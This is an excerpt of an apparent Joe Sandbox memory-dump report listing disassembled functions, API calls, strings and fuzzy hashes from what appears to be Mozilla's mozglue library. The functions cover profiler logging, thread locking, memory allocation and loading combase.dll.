?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE), ref: 6C66B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C6ACC83,?,?,?,?,?,?,?,?,?,6C6ABCAE,?,?,6C69DC2C), ref: 6C66B896

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 8d65663f517cc1ba9019aa32cdd5be14be6eb4379add72ea62ad780bd7f5b39b
Instruction ID: 660f9ae3e6eba31157b9b988089750c6d309a79bba48d77c940fe54830b8b717
Opcode Fuzzy Hash: 8d65663f517cc1ba9019aa32cdd5be14be6eb4379add72ea62ad780bd7f5b39b
Instruction Fuzzy Hash: B3516B35700600CFCB25CF5AC484A6ABBF5FF89318B69855DE98A87B51C731EC01DB89

Function 6C6A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C6A1BE3,?,?,6C6A1D96,00000000), ref: 6C6A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C6A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6A1DDA

Part of subcall function 6C6A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C6A1F03
Part of subcall function 6C6A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C6A1DF2,00000000,00000000), ref: 6C6A1F0C
Part of subcall function 6C6A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C6A1DF4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction ID: 6237317cd5e8c4c48d03eaf6022813b837f2a5122011ce4a3e1288e701c1984f
Opcode Fuzzy Hash: 4c4b000d06f41878ff19d4314d7ed2d066b6f97361b661544fa9a5f223976c85
Instruction Fuzzy Hash: 434167B52007019FCB10DF69C488A56BBF9FF89314F10442EE95A87B41DB31F855CB99

Function 6C6984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985AC

Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C69767F
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C697693
Part of subcall function 6C697670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C6985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C6985B2

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction ID: b02f8cc00a9fe643691ff8c2603e189c6edef795f28809ea080049c642b51048
Opcode Fuzzy Hash: 983fe677dbbdfd636f57bc4bf4f18da6e73b00731ded2bd3697c35bd201452d4
Instruction Fuzzy Hash: 7D218E742006029FDB14DF29C888A5AB7B5AF8930CF24492DE55BC3B51EB31F949CB59

Function 6C661640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C661699
VerSetConditionMask.NTDLL ref: 6C6616CB
VerSetConditionMask.NTDLL ref: 6C6616D7
VerSetConditionMask.NTDLL ref: 6C6616DE
VerSetConditionMask.NTDLL ref: 6C6616E5
VerSetConditionMask.NTDLL ref: 6C6616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6616F9

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction ID: 5ebc18347cdce2e6c4c196cc0c98d8f41758e16dacbf56acbe91b7dc95ca951f
Opcode Fuzzy Hash: f84841580bed524b7193ec7398748102c90c56b468ac830f6a53935fa1e8d8bc
Instruction Fuzzy Hash: AA21D5B07442086BEB105A66CC85FFBB37CDFC6704F044528F6459B5C0C675AD54C6AA

Function 6C69F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction ID: 0bd65e644daed088f08fe6fcc9a834646c2bc799f70e34fbc658b7f133535696
Opcode Fuzzy Hash: e2d03c83da65c5bc3704851d928221812889342721b3c5fc36cc22143e4ac105
Instruction Fuzzy Hash: 4D119175201206ABCB44AF5AC8889A97779FFC6759F550416FA0583F01CB71B812CBAE

Function 6C662070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,6C661C5F), ref: 6C6620AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C6620CD
__Init_thread_footer.LIBCMT ref: 6C6620E1
FreeLibrary.KERNEL32 ref: 6C662124

Strings

CoInitializeSecurity, xrefs: 6C6620C7
combase.dll, xrefs: 6C6620A9

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: e8f587b255cae212813fd91fee88bd8eef02f1395703c1e31c8269927b05aa99
Instruction ID: f4ce16b3d5a78bfb26feb4f7e9c2fbc04e8641e78ab249c781a5bd2018ad1a11
Opcode Fuzzy Hash: e8f587b255cae212813fd91fee88bd8eef02f1395703c1e31c8269927b05aa99
Instruction Fuzzy Hash: 60218075200209EFDF11CF96DC88D9A3FB6FB5A355F008114FE0492A50D731A861DF6A

Function 6C6B76C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C6B76F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C6B7705

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6B7717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C6B778F,00000000,00000000,00000000,00000000), ref: 6C6B7731
free.MOZGLUE(00000000), ref: 6C6B7760

Strings

}>il, xrefs: 6C6B76C4

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>il
API String ID: 2538299546-1725928026
Opcode ID: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction ID: 69dadac1c372adee9e4d185efa5b35e7bcfef7ba5702c5b4d1b166416e3f892e
Opcode Fuzzy Hash: 2195319edaf78c9abde5db2944dedad8b5fbb5b4cca38b54291dd1d8e3d53320
Instruction Fuzzy Hash: C811C4B19042156BE710AF7A9C44BABBEE8EF46354F044439F848E7300E7709850C7F6

Function 6C661FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C661FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C661FFD
__Init_thread_footer.LIBCMT ref: 6C662011
FreeLibrary.KERNEL32 ref: 6C662059

Strings

combase.dll, xrefs: 6C661FD9
CoCreateInstance, xrefs: 6C661FF7

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 9276836da43abd49761e2cc01e4bc187bf8a0a87d9952ce7f783d7e40b5f3dcd
Instruction ID: 2840f0e83cf32e1256705947131910d522cbb3e7114f0a2544195fc75f5e4389
Opcode Fuzzy Hash: 9276836da43abd49761e2cc01e4bc187bf8a0a87d9952ce7f783d7e40b5f3dcd
Instruction Fuzzy Hash: 9A115E75201205AFDF10CF57C88CE963B79EB9A359F008029FD0592A40D731B861DFAE

Function 6C660EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C68D9F0,00000000), ref: 6C660F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C660F3C
__Init_thread_footer.LIBCMT ref: 6C660F50
FreeLibrary.KERNEL32(?,6C68D9F0,00000000), ref: 6C660F86

Strings

combase.dll, xrefs: 6C660F18
CoInitializeEx, xrefs: 6C660F36

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction ID: 3142b6849d6ec6b95381f9596ef0e0d97da1d837e232cb8c17506ce709f15651
Opcode Fuzzy Hash: 3aea649bdf82269b74aab9dc918a159452dd4dc8024e20fc0460376b7e1b97a9
Instruction Fuzzy Hash: F311C6743152419BDF10CF57C988A493774E79B325F004629ED0583B41D772B401CA5F

Function 6C69F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[I %d/%d] profiler_resume, xrefs: 6C69F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction ID: c3c579bf121b4f29216cc944803579b568ea5ae6b2b9047ff900d25c0825af38
Opcode Fuzzy Hash: ddaf6f8b125b3f6f6eed465e4a80a9166bf3288553cff3e0002d544b284c5598
Instruction Fuzzy Hash: 82F0B4752002059FDB006F669C8895E77BDEFCA29EF010415FA0583706CF31A801876E

Function 6C660E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C660DF8), ref: 6C660E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C660EA1
__Init_thread_footer.LIBCMT ref: 6C660EB5
FreeLibrary.KERNEL32 ref: 6C660EC5

Strings

kernel32.dll, xrefs: 6C660E7D
GetProcessMitigationPolicy, xrefs: 6C660E9B

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction ID: 04721a74647996172587f100570ada726f5cd43541baddcb8b94d007b7167caf
Opcode Fuzzy Hash: e11fd40302de7fece80d3faaaf52c34881f3f9f852b453f3802d9b70b70de60d
Instruction Fuzzy Hash: 720146747003928BDF008FABEA94BE233B5E746759F104525EA0182F84DB74B406CA1F

Function 6C69F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C69F598), ref: 6C69F621

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69F637
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F645
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8,?,?,00000000,?,6C69F598), ref: 6C69F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C69F62A

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction ID: 0ca6b029334713368cae37ce8458285ea3134e2d024130434b58c9ec30fc0ab5
Opcode Fuzzy Hash: ac30b7a3da0f63cb2ecde626f544fcda8337d725f7d8c642dc04f256e4dc61ae
Instruction Fuzzy Hash: FFF05475200205AFDF006F668C8895A777DEFCA29DF150415FA0583746DB756806876E

Function 6C6905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C68CFAE,?,?,?,6C6531A7), ref: 6C6905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C68CFAE,?,?,?,6C6531A7), ref: 6C690616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C6531A7), ref: 6C69061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C6531A7), ref: 6C690627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C69061B, 6C690625
<jemalloc>, xrefs: 6C6905FA, 6C69060F

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction ID: 48e1536f2f0669c544160619b682af56469d35fc0a8b4f871b052f5e726b8a34
Opcode Fuzzy Hash: 718c23f9e1cf966c788dd71da6affca665d055ee368c1ec450e64d4ade668484
Instruction Fuzzy Hash: 69E08CE2A0101037F6142256BC86DBB761CDBC6134F080039FE0E83341E94ABD1A51FB

Function 6C6605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

